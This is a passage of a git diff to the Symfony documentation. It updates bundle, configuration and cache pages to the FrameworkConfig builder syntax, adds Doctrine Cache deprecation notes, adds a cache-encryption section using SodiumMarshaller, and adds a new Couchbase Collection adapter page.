@@ -494,10 +502,22 @@ The ``composer.json`` file should include at least the following metadata:
     This information is used by Symfony to load the classes of the bundle. It's
     recommended to use the `PSR-4`_ autoload standard: use the namespace as key,
     and the location of the bundle's main class (relative to ``composer.json``)
-    as value. For example, if the main class is located in the bundle root
-    directory: ``"autoload": { "psr-4": { "SomeVendor\\BlogBundle\\": "" } }``.
-    If the main class is located in the ``src/`` directory of the bundle:
-    ``"autoload": { "psr-4": { "SomeVendor\\BlogBundle\\": "src/" } }``.
+    as value. As the main class is located in the ``src/`` directory of the bundle:
+
+    .. code-block:: json
+
+        {
+            "autoload": {
+                "psr-4": {
+                    "Acme\\BlogBundle\\": "src/"
+                }
+            },
+            "autoload-dev": {
+                "psr-4": {
+                    "Acme\\BlogBundle\\Tests\\": "tests/"
+                }
+            }
+        }
 
 In order to make it easier for developers to find your bundle, register it on
 `Packagist`_, the official repository for Composer packages.
@@ -507,15 +527,15 @@ Resources
 
 If the bundle references any resources (config files, translation files, etc.),
 don't use physical paths (e.g. ``__DIR__/config/services.xml``) but logical
-paths (e.g. ``@FooBundle/Resources/config/services.xml``).
+paths (e.g. ``@AcmeBlogBundle/config/services.xml``).
 
 The logical paths are required because of the bundle overriding mechanism that
 lets you override any resource/file of any bundle. See :ref:`http-kernel-resource-locator`
 for more details about transforming physical paths into logical paths.
 
 Beware that templates use a simplified version of the logical path shown above.
-For example, an ``index.html.twig`` template located in the ``Resources/views/Default/``
-directory of the FooBundle, is referenced as ``@Foo/Default/index.html.twig``.
+For example, an ``index.html.twig`` template located in the ``templates/Default/``
+directory of the AcmeBlogBundle, is referenced as ``@AcmeBlog/Default/index.html.twig``.
 
 Learn more
 ----------
@@ -529,5 +549,5 @@ Learn more
 .. _`Packagist`: https://packagist.org/
 .. _`choose any license`: https://choosealicense.com/
 .. _`valid license identifier`: https://spdx.org/licenses/
-.. _`Travis CI`: https://travis-ci.org/
-.. _`Travis cron`: https://docs.travis-ci.com/user/cron-jobs/
+.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
+.. _`Travis CI`: https://docs.travis-ci.com/
diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index c24d076da14..198ac07450d 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -40,9 +40,11 @@ as integration of other related components:
 
     .. code-block:: php
 
-        $container->loadFromExtension('framework', [
-            'form' => true,
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->form()->enabled(true);
+        };
 
 Using the Bundle Extension
 --------------------------
@@ -64,7 +66,7 @@ can add some configuration that looks like this:
     .. code-block:: xml
 
         <!-- config/packages/acme_social.xml -->
-        <?xml version="1.0" ?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:acme-social="http://example.org/schema/dic/acme_social"
@@ -81,12 +83,13 @@ can add some configuration that looks like this:
     .. code-block:: php
 
         // config/packages/acme_social.php
-        $container->loadFromExtension('acme_social', [
-            'twitter' => [
-                'client_id'     => 123,
-                'client_secret' => 'your_secret',
-            ],
-        ]);
+        use Symfony\Config\AcmeSocialConfig;
+
+        return static function (AcmeSocialConfig $acmeSocial) {
+            $acmeSocial->twitter()
+                ->clientId(123)
+                ->clientSecret('your_secret');
+        };
 
 The basic idea is that instead of having the user override individual
 parameters, you let the user configure just a few, specifically created,
@@ -330,7 +333,7 @@ As long as your bundle's configuration is located in the standard location
 (``YourBundle\DependencyInjection\Configuration``) and does not have
 a constructor it will work automatically. If you
 have something different, your ``Extension`` class must override the
-:method:`Extension::getConfiguration() <Symfony\\Component\\HttpKernel\\DependencyInjection\\Extension::getConfiguration>`
+:method:`Extension::getConfiguration() <Symfony\\Component\\DependencyInjection\\Extension\\Extension::getConfiguration>`
 method and return an instance of your ``Configuration``.
 
 Supporting XML
@@ -412,7 +415,7 @@ Assuming the XSD file is called ``hello-1.0.xsd``, the schema location will be
 .. code-block:: xml
 
     <!-- config/packages/acme_hello.xml -->
-    <?xml version="1.0" ?>
+    <?xml version="1.0" encoding="UTF-8" ?>
     <container xmlns="http://symfony.com/schema/dic/services"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xmlns:acme-hello="http://acme_company.com/schema/dic/hello"
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 2b6f9dbfe3f..a332d45141f 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -82,6 +82,11 @@ in case a specific other bundle is not registered::
 
         // process the configuration of AcmeHelloExtension
         $configs = $container->getExtensionConfig($this->getAlias());
+
+        // resolve config parameters e.g. %kernel.debug% to its boolean value
+        $resolvingBag = $container->getParameterBag();
+        $configs = $resolvingBag->resolveValue($configs);
+        
         // use the Configuration class to generate a config array with
         // the settings "acme_hello"
         $config = $this->processConfiguration(new Configuration(), $configs);
diff --git a/cache.rst b/cache.rst
index 008793d044d..2702001952e 100644
--- a/cache.rst
+++ b/cache.rst
@@ -30,6 +30,11 @@ The following example shows a typical usage of the cache::
 Symfony supports Cache Contracts, PSR-6/16 and Doctrine Cache interfaces.
 You can read more about these at the :doc:`component documentation </components/cache>`.
 
+.. deprecated:: 5.4
+
+    Support for Doctrine Cache was deprecated in Symfony 5.4
+    and it will be removed in Symfony 6.0.
+
 .. _cache-configuration-with-frameworkbundle:
 
 Configuring Cache with FrameworkBundle
@@ -85,12 +90,15 @@ adapter (template) they use by using the ``app`` and ``system`` key like:
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'app' => 'cache.adapter.filesystem',
-                'system' => 'cache.adapter.system',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->app('cache.adapter.filesystem')
+                ->system('cache.adapter.system')
+            ;
+        };
+
 
 The Cache component comes with a series of adapters pre-configured:
 
@@ -165,23 +173,31 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                // Only used with cache.adapter.filesystem
-                'directory' => '%kernel.cache_dir%/pools',
+        use Symfony\Config\FrameworkConfig;
 
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                // Only used with cache.adapter.filesystem
+                ->directory('%kernel.cache_dir%/pools')
                 // Service: cache.doctrine
-                'default_doctrine_provider' => 'app.doctrine_cache',
+                ->defaultDoctrineProvider('app.doctrine_cache')
                 // Service: cache.psr6
-                'default_psr6_provider' => 'app.my_psr6_service',
+                ->defaultPsr6Provider('app.my_psr6_service')
                 // Service: cache.redis
-                'default_redis_provider' => 'redis://localhost',
+                ->defaultRedisProvider('redis://localhost')
                 // Service: cache.memcached
-                'default_memcached_provider' => 'memcached://localhost',
+                ->defaultMemcachedProvider('memcached://localhost')
                 // Service: cache.pdo
-                'default_pdo_provider' => 'doctrine.dbal.default_connection',
-            ],
-        ]);
+                ->defaultPdoProvider('doctrine.dbal.default_connection')
+            ;
+        };
+
+.. deprecated:: 5.4
+
+    The ``default_doctrine_provider`` option was deprecated in Symfony 5.4 and
+    it will be removed in Symfony 6.0.
+
+.. _cache-create-pools:
 
 Creating Custom (Namespaced) Pools
 ----------------------------------
@@ -265,49 +281,42 @@ You can also create more customized pools:
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'default_memcached_provider' => 'memcached://localhost',
-                'pools' => [
-                    // creates a "custom_thing.cache" service
-                    // autowireable via "CacheInterface $customThingCache"
-                    // uses the "app" cache configuration
-                    'custom_thing.cache' => [
-                        'adapter' => 'cache.app',
-                    ],
-
-                    // creates a "my_cache_pool" service
-                    // autowireable via "CacheInterface $myCachePool"
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.filesystem',
-                    ],
-
-                    // uses the default_memcached_provider from above
-                    'acme.cache' => [
-                        'adapter' => 'cache.adapter.memcached',
-                    ],
-
-                    // control adapter's configuration
-                    'foobar.cache' => [
-                        'adapter' => 'cache.adapter.memcached',
-                        'provider' => 'memcached://user:password@example.com',
-                    ],
-
-                    // uses the "foobar.cache" pool as its backend but controls
-                    // the lifetime and (like all pools) has a separate cache namespace
-                    'short_cache' => [
-                        'adapter' => 'foobar.cache',
-                        'default_lifetime' => 60,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $cache = $framework->cache();
+            $cache->defaultMemcachedProvider('memcached://localhost');
+
+            // creates a "custom_thing.cache" service
+            // autowireable via "CacheInterface $customThingCache"
+            // uses the "app" cache configuration
+            $cache->pool('custom_thing.cache')
+                ->adapters(['cache.app']);
+
+            // creates a "my_cache_pool" service
+            // autowireable via "CacheInterface $myCachePool"
+            $cache->pool('my_cache_pool')
+                ->adapters(['cache.adapter.filesystem']);
+
+            // uses the default_memcached_provider from above
+            $cache->pool('acme.cache')
+                ->adapters(['cache.adapter.memcached']);
+
+             // control adapter's configuration
+            $cache->pool('foobar.cache')
+                ->adapters(['cache.adapter.memcached'])
+                ->provider('memcached://user:password@example.com');
+
+            $cache->pool('short_cache')
+                ->adapters(['foobar.cache'])
+                ->defaultLifetime(60);
+        };
 
 Each pool manages a set of independent cache keys: keys from different pools
 *never* collide, even if they share the same backend. This is achieved by prefixing
 keys with a namespace that's generated by hashing the name of the pool, the name
-of the compiled container class and a :ref:`configurable seed <reference-cache-prefix-seed>`
-that defaults to the project directory.
+of the cache adapter class and a :ref:`configurable seed <reference-cache-prefix-seed>`
+that defaults to the project directory and compiled container class.
 
 Each custom pool becomes a service whose service ID is the name of the pool
 (e.g. ``custom_thing.cache``). An autowiring alias is also created for each pool
@@ -372,9 +381,9 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             return function(ContainerConfigurator $configurator) {
                 $services = $configurator->services();
 
-                $services->set('app.cace.adapter.redis')
+                $services->set('app.cache.adapter.redis')
                     ->parent('cache.adapter.redis')
-                    ->tag('cache.pool', ['namespace' => 'my_custom_namespace'])
+                    ->tag('cache.pool', ['namespace' => 'my_custom_namespace']);
             };
 
 Custom Provider Options
@@ -440,26 +449,25 @@ and use that when configuring the pool.
 
         // config/packages/cache.php
         use Symfony\Component\Cache\Adapter\RedisAdapter;
-
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'cache.my_redis' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'provider' => 'app.my_custom_redis_provider',
-                    ],
-                ],
-            ],
-        ]);
-
-        $container->register('app.my_custom_redis_provider', \Redis::class)
-            ->setFactory([RedisAdapter::class, 'createConnection'])
-            ->addArgument('redis://localhost')
-            ->addArgument([
-                'retry_interval' => 2,
-                'timeout' => 10
-            ])
-        ;
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('cache.my_redis')
+                    ->adapters(['cache.adapter.redis'])
+                    ->provider('app.my_custom_redis_provider');
+
+
+            $container->register('app.my_custom_redis_provider', \Redis::class)
+                ->setFactory([RedisAdapter::class, 'createConnection'])
+                ->addArgument('redis://localhost')
+                ->addArgument([
+                    'retry_interval' => 2,
+                    'timeout' => 10
+                ])
+            ;
+        };
 
 Creating a Cache Chain
 ----------------------
@@ -519,20 +527,19 @@ Symfony stores the item automatically in all the missing pools.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'default_lifetime' => 31536000, // One year
-                        'adapters' => [
-                            'cache.adapter.array',
-                            'cache.adapter.apcu',
-                            ['name' => 'cache.adapter.redis', 'provider' => 'redis://user:password@example.com'],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('my_cache_pool')
+                    ->defaultLifetime(31536000) // One year
+                    ->adapters([
+                        'cache.adapter.array',
+                        'cache.adapter.apcu',
+                        ['name' => 'cache.adapter.redis', 'provider' => 'redis://user:password@example.com'],
+                    ])
+            ;
+        };
 
 Using Cache Tags
 ----------------
@@ -611,16 +618,15 @@ to enable this feature. This could be added by using the following configuration
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'tags' => true,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('my_cache_pool')
+                    ->tags(true)
+                    ->adapters(['cache.adapter.redis'])
+            ;
+        };
 
 Tags are stored in the same pool by default. This is good in most scenarios. But
 sometimes it might be better to store the tags in a different pool. That could be
@@ -661,19 +667,20 @@ achieved by specifying the adapter.
     .. code-block:: php
 
         // config/packages/cache.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'my_cache_pool' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'tags' => 'tag_pool',
-                    ],
-                    'tag_pool' => [
-                        'adapter' => 'cache.adapter.apcu',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('my_cache_pool')
+                    ->tags('tag_pool')
+                    ->adapters(['cache.adapter.redis'])
+            ;
+
+            $framework->cache()
+                ->pool('tag_pool')
+                    ->adapters(['cache.adapter.apcu'])
+            ;
+        };
 
 .. note::
 
@@ -719,3 +726,89 @@ Clear all caches everywhere:
 .. code-block:: terminal
 
     $ php bin/console cache:pool:clear cache.global_clearer
+
+Encrypting the Cache
+--------------------
+
+.. versionadded:: 5.1
+
+    The :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`
+    class was introduced in Symfony 5.1.
+
+To encrypt the cache using ``libsodium``, you can use the
+:class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`.
+
+First, you need to generate a secure key and add it to your :doc:`secret
+store </configuration/secrets>` as ``CACHE_DECRYPTION_KEY``:
+
+.. code-block:: terminal
+
+    $ php -r 'echo base64_encode(sodium_crypto_box_keypair());'
+
+Then, register the ``SodiumMarshaller`` service using this key:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/cache.yaml
+
+        # ...
+        services:
+            Symfony\Component\Cache\Marshaller\SodiumMarshaller:
+                decorates: cache.default_marshaller
+                arguments:
+                    - ['%env(base64:CACHE_DECRYPTION_KEY)%']
+                    # use multiple keys in order to rotate them
+                    #- ['%env(base64:CACHE_DECRYPTION_KEY)%', '%env(base64:OLD_CACHE_DECRYPTION_KEY)%']
+                    - '@Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner'
+
+    .. code-block:: xml
+
+        <!-- config/packages/cache.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+
+            <services>
+                <service id="Symfony\Component\Cache\Marshaller\SodiumMarshaller" decorates="cache.default_marshaller">
+                    <argument type="collection">
+                        <argument>env(base64:CACHE_DECRYPTION_KEY)</argument>
+                        <!-- use multiple keys in order to rotate them -->
+                        <!-- <argument>env(base64:OLD_CACHE_DECRYPTION_KEY)</argument> -->
+                    </argument>
+                    <argument type="service" id="Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/cache.php
+        use Symfony\Component\Cache\Marshaller\SodiumMarshaller;
+        use Symfony\Component\DependencyInjection\ChildDefinition;
+        use Symfony\Component\DependencyInjection\Reference;
+
+        // ...
+        $container->setDefinition(SodiumMarshaller::class, new ChildDefinition('cache.default_marshaller'))
+            ->addArgument(['env(base64:CACHE_DECRYPTION_KEY)'])
+            // use multiple keys in order to rotate them
+            //->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
+            ->addArgument(new Reference(SodiumMarshaller::class.'.inner'));
+
+.. caution::
+
+    This will encrypt the values of the cache items, but not the cache keys. Be
+    careful not the leak sensitive data in the keys.
+
+When configuring multiple keys, the first key will be used for reading and
+writing, and the additional key(s) will only be used for reading. Once all
+cache items encrypted with the old key have expired, you can remove
+``OLD_CACHE_DECRYPTION_KEY`` completely.
diff --git a/components/asset.rst b/components/asset.rst
index 48e51754449..5044ef2dab9 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -51,6 +51,8 @@ Installation
 Usage
 -----
 
+.. _asset-packages:
+
 Asset Packages
 ~~~~~~~~~~~~~~
 
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index b73783f95e0..9648afc31e4 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -60,7 +60,7 @@ This method accepts a request and should return a response::
 For a simple implementation of a browser based on the HTTP layer, have a look
 at the :class:`Symfony\\Component\\BrowserKit\\HttpBrowser` provided by
 :ref:`this component <component-browserkit-external-requests>`. For an implementation based
-on ``HttpKernelInterface``, have a look at the :class:`Symfony\\Component\\HttpKernel\\Client`
+on ``HttpKernelInterface``, have a look at the :class:`Symfony\\Component\\HttpKernel\\HttpClientKernel`
 provided by the :doc:`HttpKernel component </components/http_kernel>`.
 
 Making Requests
@@ -80,6 +80,20 @@ The value returned by the ``request()`` method is an instance of the
 :doc:`DomCrawler component </components/dom_crawler>`, which allows accessing
 and traversing HTML elements programmatically.
 
+The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::jsonRequest` method,
+which defines the same arguments as the ``request()`` method, is a shortcut to
+convert the request parameters into a JSON string and set the needed HTTP headers::
+
+    use Acme\Client;
+
+    $client = new Client();
+    // this encodes parameters as JSON and sets the required CONTENT_TYPE and HTTP_ACCEPT headers
+    $crawler = $client->jsonRequest('GET', '/', ['some_parameter' => 'some_value']);
+
+.. versionadded:: 5.3
+
+    The ``jsonRequest()`` method was introduced in Symfony 5.3.
+
 The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest` method,
 which defines the same arguments as the ``request()`` method, is a shortcut to
 make AJAX requests::
diff --git a/components/cache.rst b/components/cache.rst
index a620206682f..29c1f0fd42b 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -20,6 +20,11 @@ The Cache Component
     Doctrine caches. See :doc:`/components/cache/psr6_psr16_adapters` and
     :doc:`/components/cache/adapters/doctrine_adapter`.
 
+    .. deprecated:: 5.4
+
+        Support for Doctrine Cache was deprecated in Symfony 5.4
+        and it will be removed in Symfony 6.0.
+
 Installation
 ------------
 
@@ -90,7 +95,10 @@ generate and return the value::
     Use cache tags to delete more than one key at the time. Read more at
     :doc:`/components/cache/cache_invalidation`.
 
-The Cache Contracts also comes with built in `Stampede prevention`_. This will
+Stampede Prevention
+~~~~~~~~~~~~~~~~~~~
+
+The Cache Contracts also come with built in `Stampede prevention`_. This will
 remove CPU spikes at the moments when the cache is cold. If an example application
 spends 5 seconds to compute data that is cached for 1 hour and this data is accessed
 10 times every second, this means that you mostly have cache hits and everything
@@ -192,6 +200,34 @@ Now you can create, retrieve, update and delete items using this cache pool::
 
 For a list of all of the supported adapters, see :doc:`/components/cache/cache_pools`.
 
+Marshalling (Serializing) Data
+------------------------------
+
+.. note::
+
+    `Marshalling`_ and `serializing`_ are similar concepts. Serializing is the
+    process of translating an object state into a format that can be stored
+    (e.g. in a file). Marshalling is the process of translating both the object
+    state and its codebase into a format that can be stored or transmitted.
+
+    Unmarshalling an object produces a copy of the original object, possibly by
+    automatically loading the class definitions of the object.
+
+Symfony uses *marshallers* (classes which implement
+:class:`Symfony\\Component\\Cache\\Marshaller\\MarshallerInterface`) to process
+the cache items before storing them.
+
+The :class:`Symfony\\Component\\Cache\\Marshaller\\DefaultMarshaller` uses PHP's
+``serialize()`` or ``igbinary_serialize()`` if the `Igbinary extension`_ is installed.
+There are other *marshallers* that can encrypt or compress the data before storing it::
+
+    use Symfony\Component\Cache\Adapter\RedisAdapter;
+    use Symfony\Component\Cache\DefaultMarshaller;
+    use Symfony\Component\Cache\DeflateMarshaller;
+
+    $marshaller = new DeflateMarshaller(new DefaultMarshaller());
+    $cache = new RedisAdapter(new \Redis(), 'namespace', 0, $marshaller);
+
 Advanced Usage
 --------------
 
@@ -205,3 +241,6 @@ Advanced Usage
 .. _`Cache Contracts`: https://github.com/symfony/contracts/blob/master/Cache/CacheInterface.php
 .. _`Stampede prevention`: https://en.wikipedia.org/wiki/Cache_stampede
 .. _Probabilistic early expiration: https://en.wikipedia.org/wiki/Cache_stampede#Probabilistic_early_expiration
+.. _`Marshalling`: https://en.wikipedia.org/wiki/Marshalling_(computer_science)
+.. _`serializing`: https://en.wikipedia.org/wiki/Serialization
+.. _`Igbinary extension`: https://github.com/igbinary/igbinary
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 7043a7c3e95..9ab637eb38b 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -1,6 +1,6 @@
 .. index::
     single: Cache Pool
-    single: Couchabase Cache
+    single: Couchbase Cache
 
 .. _couchbase-adapter:
 
@@ -22,7 +22,7 @@ is also available.
 
     **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
     must be installed, active, and running to use this adapter. Version ``2.6`` or
-    greater of the `Couchbase PHP extension`_ is required for this adapter.
+    less than 3.0 of the `Couchbase PHP extension`_ is required for this adapter.
 
 This adapter expects a `Couchbase Bucket`_ instance to be passed as the first
 parameter. A namespace and default cache lifetime can optionally be passed as
@@ -32,17 +32,17 @@ the second and third parameters::
 
     $cache = new CouchbaseBucketAdapter(
         // the client object that sets options and adds the server instance(s)
-        \CouchbaseBucket $client,
+        $client,
 
         // the name of bucket
-        string $bucket,
+        $bucket,
 
         // a string prefixed to the keys of the items stored in this cache
-        $namespace = '',
+        $namespace,
 
         // the default lifetime (in seconds) for cache items that do not define their
         // own lifetime, with a value 0 causing items to be stored indefinitely
-        $defaultLifetime = 0,
+        $defaultLifetime
     );
 
 
@@ -60,7 +60,7 @@ helper method allows creating and configuring a `Couchbase Bucket`_ class instan
         'couchbase://localhost'
         // the DSN can include config options (pass them as a query string):
         // 'couchbase://localhost:11210?operationTimeout=10'
-        // 'couchbase://localhost:11210?operationTimeout=10&configTimout=20'
+        // 'couchbase://localhost:11210?operationTimeout=10&configTimeout=20'
     );
 
     // pass an array of DSN strings to register multiple servers with the client
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
new file mode 100644
index 00000000000..f3aff72e6ac
--- /dev/null
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -0,0 +1,147 @@
+.. index::
+    single: Cache Pool
+    single: Couchabase Cache
+
+.. _couchbase-collection-adapter:
+
+Couchbase Cache Adapter
+=======================
+
+.. versionadded:: 5.4
+
+    The Couchbase Cache Adapter was introduced in Symfony 5.4.
+
+This adapter stores the values in-memory using one (or more) `Couchbase server`_
+instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
+:ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's
+shared memory; you can store contents independent of your PHP environment.
+The ability to utilize a cluster of servers to provide redundancy and/or fail-over
+is also available.
+
+.. caution::
+
+    **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
+    must be installed, active, and running to use this adapter. Version ``3.0`` or
+    greater of the `Couchbase PHP extension`_ is required for this adapter.
+
+This adapter expects a `Couchbase Collection`_ instance to be passed as the first
+parameter. A namespace and default cache lifetime can optionally be passed as
+the second and third parameters::
+
+    use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter;
+
+    $cache = new CouchbaseCollectionAdapter(
+        // the client object that sets options and adds the server instance(s)
+        $client,
+
+        // a string prefixed to the keys of the items stored in this cache
+        $namespace,
+
+        // the default lifetime (in seconds) for cache items that do not define their
+        // own lifetime, with a value 0 causing items to be stored indefinitely
+        $defaultLifetime
+    );
+
+
+Configure the Connection
+------------------------
+
+The :method:`Symfony\\Component\\Cache\\Adapter\\CouchbaseCollectionAdapter::createConnection`
+helper method allows creating and configuring a `Couchbase Collection`_ class instance using a
+`Data Source Name (DSN)`_ or an array of DSNs::
+
+    use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter;
+
+    // pass a single DSN string to register a single server with the client
+    $client = CouchbaseCollectionAdapter::createConnection(
+        'couchbase://localhost'
+        // the DSN can include config options (pass them as a query string):
+        // 'couchbase://localhost:11210?operationTimeout=10'
+        // 'couchbase://localhost:11210?operationTimeout=10&configTimout=20'
+    );
+
+    // pass an array of DSN strings to register multiple servers with the client
+    $client = CouchbaseCollectionAdapter::createConnection([
+        'couchbase://10.0.0.100',
+        'couchbase://10.0.0.101',
+        'couchbase://10.0.0.102',
+        // etc...
+    ]);
+
+    // a single DSN can define multiple servers using the following syntax:
+    // host[hostname-or-IP:port] (where port is optional). Sockets must include a trailing ':'
+    $client = CouchbaseCollectionAdapter::createConnection(
+        'couchbase:?host[localhost]&host[localhost:12345]'
+    );
+
+
+Configure the Options
+---------------------
+
+The :method:`Symfony\\Component\\Cache\\Adapter\\CouchbaseCollectionAdapter::createConnection`
+helper method also accepts an array of options as its second argument. The
+expected format is an associative array of ``key => value`` pairs representing
+option names and their respective values::
+
+    use Symfony\Component\Cache\Adapter\CouchbaseCollectionAdapter;
+
+    $client = CouchbaseCollectionAdapter::createConnection(
+        // a DSN string or an array of DSN strings
+        [],
+
+        // associative array of configuration options
+        [
+            'username' => 'xxxxxx',
+            'password' => 'yyyyyy',
+            'configTimeout' => '100',
+        ]
+    );
+
+Available Options
+~~~~~~~~~~~~~~~~~
+
+``username`` (type: ``string``)
+    Username for connection ``CouchbaseCluster``.
+
+``password`` (type: ``string``)
+    Password of connection ``CouchbaseCluster``.
+
+``operationTimeout`` (type: ``int``, default: ``2500000``)
+    The operation timeout (in microseconds) is the maximum amount of time the library will
+    wait for an operation to receive a response before invoking its callback with a failure status.
+
+``configTimeout`` (type: ``int``, default: ``5000000``)
+    How long (in microseconds) the client will wait to obtain the initial configuration.
+
+``configNodeTimeout`` (type: ``int``, default: ``2000000``)
+    Per-node configuration timeout (in microseconds).
+
+``viewTimeout`` (type: ``int``, default: ``75000000``)
+    The I/O timeout (in microseconds) for HTTP requests to Couchbase Views API.
+
+``httpTimeout`` (type: ``int``, default: ``75000000``)
+    The I/O timeout (in microseconds) for HTTP queries (management API).
+
+``configDelay`` (type: ``int``, default: ``10000``)
+    Config refresh throttling
+    Modify the amount of time (in microseconds) before the configuration error threshold will forcefully be set to its maximum number forcing a configuration refresh.
+
+``htconfigIdleTimeout`` (type: ``int``, default: ``4294967295``)
+    Idling/Persistence for HTTP bootstrap (in microseconds).
+
+``durabilityInterval`` (type: ``int``, default: ``100000``)
+    The time (in microseconds) the client will wait between repeated probes to a given server.
+
+``durabilityTimeout`` (type: ``int``, default: ``5000000``)
+    The time (in microseconds) the client will spend sending repeated probes to a given key's vBucket masters and replicas before they are deemed not to have satisfied the durability requirements.
+
+.. tip::
+
+    Reference the `Couchbase Collection`_ extension's `predefined constants`_ documentation
+    for additional information about the available options.
+
+.. _`Couchbase PHP extension`: https://docs.couchbase.com/sdk-api/couchbase-php-client/namespaces/couchbase.html
+.. _`predefined constants`: https://docs.couchbase.com/sdk-api/couchbase-php-client/classes/Couchbase-Bucket.html
+.. _`Couchbase server`: https://couchbase.com/
+.. _`Couchbase Collection`: https://docs.couchbase.com/sdk-api/couchbase-php-client/classes/Couchbase-Collection.html
+.. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst
index 198ae19338c..59c89c1c135 100644
--- a/components/cache/adapters/doctrine_adapter.rst
+++ b/components/cache/adapters/doctrine_adapter.rst
@@ -7,6 +7,11 @@
 Doctrine Cache Adapter
 ======================
 
+.. deprecated:: 5.4
+
+    The ``DoctrineAdapter`` and ``DoctrineProvider`` classes were deprecated in Symfony 5.4
+    and it will be removed in Symfony 6.0.
+
 This adapter wraps any class extending the `Doctrine Cache`_ abstract provider, allowing
 you to use these providers in your application as if they were Symfony Cache adapters.
 
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index c4db3a7fb76..2a168d2522e 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -45,16 +45,13 @@ and cache root path as constructor parameters::
     choices. If throughput is paramount, the in-memory adapters
     (:ref:`Apcu <apcu-adapter>`, :ref:`Memcached <memcached-adapter>`, and
     :ref:`Redis <redis-adapter>`) or the database adapters
-    (:ref:`Doctrine <doctrine-adapter>` and :ref:`PDO <pdo-doctrine-adapter>`)
-    are recommended.
+    (:ref:`PDO <pdo-doctrine-adapter>`) are recommended.
 
 .. note::
 
-    Since Symfony 3.4, this adapter implements
